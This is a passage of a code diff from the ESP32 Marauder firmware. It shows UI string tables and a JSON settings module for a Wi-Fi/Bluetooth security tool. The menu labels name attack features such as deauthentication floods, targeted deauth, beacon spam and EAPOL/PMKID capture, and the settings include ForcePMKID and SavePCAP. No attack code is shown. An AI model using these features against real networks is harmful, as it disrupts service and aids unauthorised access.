+PROGMEM const char text1_38[] = "Draw";
+PROGMEM const char text1_39[] = "Web Update";
+PROGMEM const char text1_40[] = "SD Update";
+PROGMEM const char text1_41[] = "ESP8266 Update";
+PROGMEM const char text1_42[] = "Probe Request Sniff";
+PROGMEM const char text1_43[] = "Beacon Sniff";
+PROGMEM const char text1_44[] = "Deauth Sniff";
+PROGMEM const char text1_45[] = "Packet Monitor";
+PROGMEM const char text1_46[] = "EAPOL/PMKID Scan";
+PROGMEM const char text1_47[] = "Detect Pwnagotchi";
+PROGMEM const char text1_48[] = "Detect Espressif";
+PROGMEM const char text1_49[] = "Scan APs";
+PROGMEM const char text1_50[] = "Beacon Spam List";
+PROGMEM const char text1_51[] = "Beacon Spam Random";
+PROGMEM const char text1_52[] = "Rick Roll Beacon";
+PROGMEM const char text1_53[] = "Probe Req Flood";
+PROGMEM const char text1_54[] = "Deauth Flood";
+PROGMEM const char text1_55[] = "Join WiFi";
+PROGMEM const char text1_56[] = "Select APs";
+PROGMEM const char text1_57[] = "AP Clone Spam";
+PROGMEM const char text1_58[] = "Raw Capture";
+PROGMEM const char text1_59[] = "Station Sniff";
+PROGMEM const char text1_60[] = "Clear Stations";
+PROGMEM const char text1_61[] = "Select Stations";
+PROGMEM const char text1_62[] = "Deauth Targeted";
+
+
+//SDInterface.cpp texts
+PROGMEM const char text2_0[] = "Error, could not find update.bin";
+PROGMEM const char text2_1[] = "Starting SD Update...";
+PROGMEM const char text2_2[] = "Error, update.bin is empty";
+PROGMEM const char text2_3[] = "\nRebooting...\n";
+PROGMEM const char text2_4[] = "Could not load update.bin from /";
+PROGMEM const char text2_5[] = "File size: ";
+PROGMEM const char text2_6[] = "Writing file to partition...";
+PROGMEM const char text2_7[] = "Written: ";
+PROGMEM const char text2_8[] = "Written only : ";
+PROGMEM const char text2_9[] = ". Retry?";
+PROGMEM const char text2_10[] = " successfully";
+PROGMEM const char text2_11[] = "Update complete";
+PROGMEM const char text2_12[] = "Update could not complete";
+PROGMEM const char text2_13[] = "Error Occurred. Error #: ";
+PROGMEM const char text2_14[] = "Not enough space to begin OTA";
+
+//Web.cpp texts
+PROGMEM const char text3_0[] = "Configuring update server...\n\n";
+PROGMEM const char text3_1[] = "IP address: ";
+PROGMEM const char text3_2[] = "Update: ";
+PROGMEM const char text3_3[] = "Bytes complete: ";
+PROGMEM const char text3_4[] = "Update Success: ";
+PROGMEM const char text3_5[] = "\nCompleted update server setup";
+
+//WiFiScan.cpp texts
+PROGMEM const char text4_0[] = " RSSI: ";
+PROGMEM const char text4_1[] = "Potential Skimmer: ";
+PROGMEM const char text4_2[] = "Already Connected";
+PROGMEM const char text4_3[] = "Failed to connect";
+PROGMEM const char text4_4[] = "Connected";
+PROGMEM const char text4_5[] = "ForcePMKID";
+PROGMEM const char text4_6[] = "ForceProbe";
+PROGMEM const char text4_7[] = "SavePCAP";
+PROGMEM const char text4_8[] = "Probe Flood";
+PROGMEM const char text4_9[] = "Clearing APs...";
+PROGMEM const char text4_10[] = "APs Cleared: ";
+PROGMEM const char text4_11[] = "Clearing SSIDs...";
+PROGMEM const char text4_12[] = "SSIDs Cleared: ";
+PROGMEM const char text4_13[] = "Generating SSIDs...";
+PROGMEM const char text4_14[] = "SSIDs Generated: ";        //Add spaces before to match : [15]
+PROGMEM const char text4_15[] = "    Total SSIDs: ";        //Add spaces beforer to match : [14]
+PROGMEM const char text4_16[] = "Shutting down WiFi...";
+PROGMEM const char text4_17[] = "WiFi not currently initialized";
+PROGMEM const char text4_18[] = "Shutting down BLE...";
+PROGMEM const char text4_19[] = "BLE not currently initialized";
+PROGMEM const char text4_20[] = "Firmware: Marauder";      //From 20 to 35 add spaces so : is in line like it is now
+PROGMEM const char text4_21[] = "Version: ";
+PROGMEM const char text4_22[] = "ESP-IDF: ";
+PROGMEM const char text4_23[] = "WSL Bypass: enabled";
+PROGMEM const char text4_24[] = "WSL Bypass: disabled";
+PROGMEM const char text4_25[] = "Station MAC: ";
+PROGMEM const char text4_26[] = "AP MAC: ";
+PROGMEM const char text4_27[] = "";
+PROGMEM const char text4_28[] = "SD Card: Connected";
+PROGMEM const char text4_29[] = "SD Card Size: ";
+PROGMEM const char text4_30[] = "SD Card: Not Connected";
+PROGMEM const char text4_31[] = "SD Card Size: 0";
+PROGMEM const char text4_32[] = "IP5306 I2C: supported";
+PROGMEM const char text4_33[] = "Battery Lvl: ";
+PROGMEM const char text4_34[] = "IP5306 I2C: not supported";
+PROGMEM const char text4_35[] = "Internal temp: ";
+PROGMEM const char text4_36[] = " Detect Espressif ";
+PROGMEM const char text4_37[] = " Detect Pwnagotchi ";
+PROGMEM const char text4_38[] = " Beacon Sniffer ";
+PROGMEM const char text4_39[] = " Deauthentication Sniffer ";
+PROGMEM const char text4_40[] = " Probe Request Sniffer ";
+PROGMEM const char text4_41[] = " Bluetooth Sniff ";
+PROGMEM const char text4_42[] = " Detect Card Skimmers ";
+PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
+PROGMEM const char text4_44[] = " AP Scan ";
+PROGMEM const char text4_45[] = "Clearing Stations...";
+PROGMEM const char text4_46[] = "Stations Cleared: ";
+PROGMEM const char text4_47[] = "Targeted Deauth";
+
+//Making tables
+PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
+PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
+PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
+PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
+PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47};
+
+#endif

+ 311 - 0
esp32cam_marauder/settings.cpp

@@ -0,0 +1,311 @@
+#include "settings.h"
+
+String Settings::getSettingsString() {
+  return this->json_settings_string;
+}
+
+bool Settings::begin() {
+  if(!SPIFFS.begin(FORMAT_SPIFFS_IF_FAILED)){
+    Serial.println("Settings SPIFFS Mount Failed");
+    return false;
+  }
+
+  File settingsFile;
+
+  //SPIFFS.remove("/settings.json"); // NEED TO REMOVE THIS LINE
+
+  if (SPIFFS.exists("/settings.json")) {
+    settingsFile = SPIFFS.open("/settings.json", FILE_READ);
+    
+    if (!settingsFile) {
+      settingsFile.close();
+      Serial.println(F("Could not find settings file"));
+      if (this->createDefaultSettings(SPIFFS))
+        return true;
+      else
+        return false;    
+    }
+  }
+  else {
+    Serial.println("Settings file does not exist");
+    if (this->createDefaultSettings(SPIFFS))
+      return true;
+    else
+      return false;
+  }
+
+  String json_string;
+  DynamicJsonDocument jsonBuffer(1024);
+  DeserializationError error = deserializeJson(jsonBuffer, settingsFile);
+  serializeJson(jsonBuffer, json_string);
+  //Serial.println("Settings: " + (String)json_string + "\n");
+  //this->printJsonSettings(json_string);
+
+  this->json_settings_string = json_string;
+  
+  return true;
+}
+
+template <typename T>
+T Settings::loadSetting(String key) {}
+
+// Get type int settings
+template<>
+int Settings::loadSetting<int>(String key) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key)
+      return json["Settings"][i]["value"];
+  }
+
+  return 0;
+}
+
+// Get type string settings
+template<>
+String Settings::loadSetting<String>(String key) {
+  //return this->json_settings_string;
+  
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key)
+      return json["Settings"][i]["value"];
+  }
+
+  return "";
+}
+
+// Get type bool settings
+template<>
+bool Settings::loadSetting<bool>(String key) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key)
+      return json["Settings"][i]["value"];
+  }
+
+  return false;
+}
+
+//Get type uint8_t settings
+template<>
+uint8_t Settings::loadSetting<uint8_t>(String key) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key)
+      return json["Settings"][i]["value"];
+  }
+
+  return 0;
+}
+
+template <typename T>
+T Settings::saveSetting(String key, bool value) {}
+
+template<>
+bool Settings::saveSetting<bool>(String key, bool value) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  String settings_string;
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key) {
+      json["Settings"][i]["value"] = value;
+
+      Serial.println("Saving setting...");
+
+      File settingsFile = SPIFFS.open("/settings.json", FILE_WRITE);
+
+      if (!settingsFile) {
+        Serial.println(F("Failed to create settings file"));
+        return false;
+      }
+
+      if (serializeJson(json, settingsFile) == 0) {
+        Serial.println(F("Failed to write to file"));
+      }
+      if (serializeJson(json, settings_string) == 0) {
+        Serial.println(F("Failed to write to string"));
+      }
+    
+      // Close the file
+      settingsFile.close();
+    
+      this->json_settings_string = settings_string;
+    
+      this->printJsonSettings(settings_string);
+      
+      return true;
+    }
+  }
+  return false;
+}
+
+bool Settings::toggleSetting(String key) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key) {
+      if (json["Settings"][i]["value"]) {
+        saveSetting<bool>(key, false);
+        Serial.println("Setting value to false");
+        return false;
+      }
+      else {
+        saveSetting<bool>(key, true);
+        Serial.println("Setting value to true");
+        return true;
+      }
+
+      return false;
+    }
+  }
+}
+
+String Settings::setting_index_to_name(int i) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  return json["Settings"][i]["name"];
+}
+
+int Settings::getNumberSettings() {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+
+  return json["Settings"].size();
+}
+
+String Settings::getSettingType(String key) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, this->json_settings_string)) {
+    Serial.println("\nCould not parse json");
+  }
+  
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    if (json["Settings"][i]["name"].as<String>() == key)
+      return json["Settings"][i]["type"];
+  }
+}
+
+void Settings::printJsonSettings(String json_string) {
+  DynamicJsonDocument json(1024); // ArduinoJson v6
+
+  if (deserializeJson(json, json_string)) {
+    Serial.println("\nCould not parse json");
+  }
+  
+  Serial.println("Settings\n----------------------------------------------");
+  for (int i = 0; i < json["Settings"].size(); i++) {
+    Serial.println("Name: " + json["Settings"][i]["name"].as<String>());
+    Serial.println("Type: " + json["Settings"][i]["type"].as<String>());
+    Serial.println("Value: " + json["Settings"][i]["value"].as<String>());
+    Serial.println("----------------------------------------------");
+  }
+}
+
+bool Settings::createDefaultSettings(fs::FS &fs) {
+  Serial.println(F("Creating default settings file: settings.json"));
+  
+  File settingsFile = fs.open("/settings.json", FILE_WRITE);
+
+  if (!settingsFile) {
+    Serial.println(F("Failed to create settings file"));
+    return false;
+  }
+
+  DynamicJsonDocument jsonBuffer(1024);
+  String settings_string;
+
+  //jsonBuffer["Settings"][0]["name"] = "Channel";
+  //jsonBuffer["Settings"][0]["type"] = "uint8_t";
+  //jsonBuffer["Settings"][0]["value"] = 11;
+  //jsonBuffer["Settings"][0]["range"]["min"] = 1;
+  //jsonBuffer["Settings"][0]["range"]["max"] = 14;
+
+  //jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay";
+  //jsonBuffer["Settings"][1]["type"] = "int";
+  //jsonBuffer["Settings"][1]["value"] = 1;
+  //jsonBuffer["Settings"][1]["range"]["min"] = 1;
+  //jsonBuffer["Settings"][1]["range"]["max"] = 10;
+
+  jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
+  jsonBuffer["Settings"][0]["type"] = "bool";
+  jsonBuffer["Settings"][0]["value"] = true;
+  jsonBuffer["Settings"][0]["range"]["min"] = false;
+  jsonBuffer["Settings"][0]["range"]["max"] = true;
+
+  jsonBuffer["Settings"][1]["name"] = "ForceProbe";
+  jsonBuffer["Settings"][1]["type"] = "bool";
+  jsonBuffer["Settings"][1]["value"] = true;
+  jsonBuffer["Settings"][1]["range"]["min"] = false;
+  jsonBuffer["Settings"][1]["range"]["max"] = true;
+
+  jsonBuffer["Settings"][2]["name"] = "SavePCAP";
+  jsonBuffer["Settings"][2]["type"] = "bool";
+  jsonBuffer["Settings"][2]["value"] = true;
+  jsonBuffer["Settings"][2]["range"]["min"] = false;
+  jsonBuffer["Settings"][2]["range"]["max"] = true;
+
+  jsonBuffer["Settings"][3]["name"] = "EnableLED";
+  jsonBuffer["Settings"][3]["type"] = "bool";
+  jsonBuffer["Settings"][3]["value"] = true;
+  jsonBuffer["Settings"][3]["range"]["min"] = false;
+  jsonBuffer["Settings"][3]["range"]["max"] = true;
+
+  //jsonBuffer.printTo(settingsFile);
+  if (serializeJson(jsonBuffer, settingsFile) == 0) {
+    Serial.println(F("Failed to write to file"));
+  }
+  if (serializeJson(jsonBuffer, settings_string) == 0) {
+    Serial.println(F("Failed to write to string"));
+  }
+
+  // Close the file
+  settingsFile.close();
+
+  this->json_settings_string = settings_string;
+
+  this->printJsonSettings(settings_string);
+
+  return true;
+}
+
+void Settings::main(uint32_t currentTime) {
+  
+}

+ 55 - 0
esp32cam_marauder/settings.h

@@ -0,0 +1,55 @@
+#ifndef Settings_h
+#define Settings_h
+
+#include "configs.h"
+
+#include "SPIFFS.h"
+#include <FS.h>
+#include <ArduinoJson.h>
+
+#define FORMAT_SPIFFS_IF_FAILED true
+
+#ifdef HAS_SCREEN
+  #include "Display.h"
+
+  extern Display display_obj;
+#endif
+
+class Settings {
+
+  private:
+    String json_settings_string;
+
+  public:
+    bool begin();
+
+    template <typename T>
+    T loadSetting(String name);
+
+    template <typename T>
+    T saveSetting(String key, bool value);
+
+    bool toggleSetting(String key);
+    String getSettingType(String key);
+    String setting_index_to_name(int i);
+    int getNumberSettings();
+
+    //template<>
+    //int loadSetting<int>(String key);
+    
+    //template<>
+    //String loadSetting<String>(String key);
+    
+    //template<>
+    //bool loadSetting<bool>(String key);
+    
+    //template<>
+    //uint8_t loadSetting<uint8_t>(String key);
+
+    String getSettingsString();
+    bool createDefaultSettings(fs::FS &fs);
+    void printJsonSettings(String json_string);
+    void main(uint32_t currentTime);
+};
+
+#endif

Некоторые файлы не были показаны из-за большого количества измененных файлов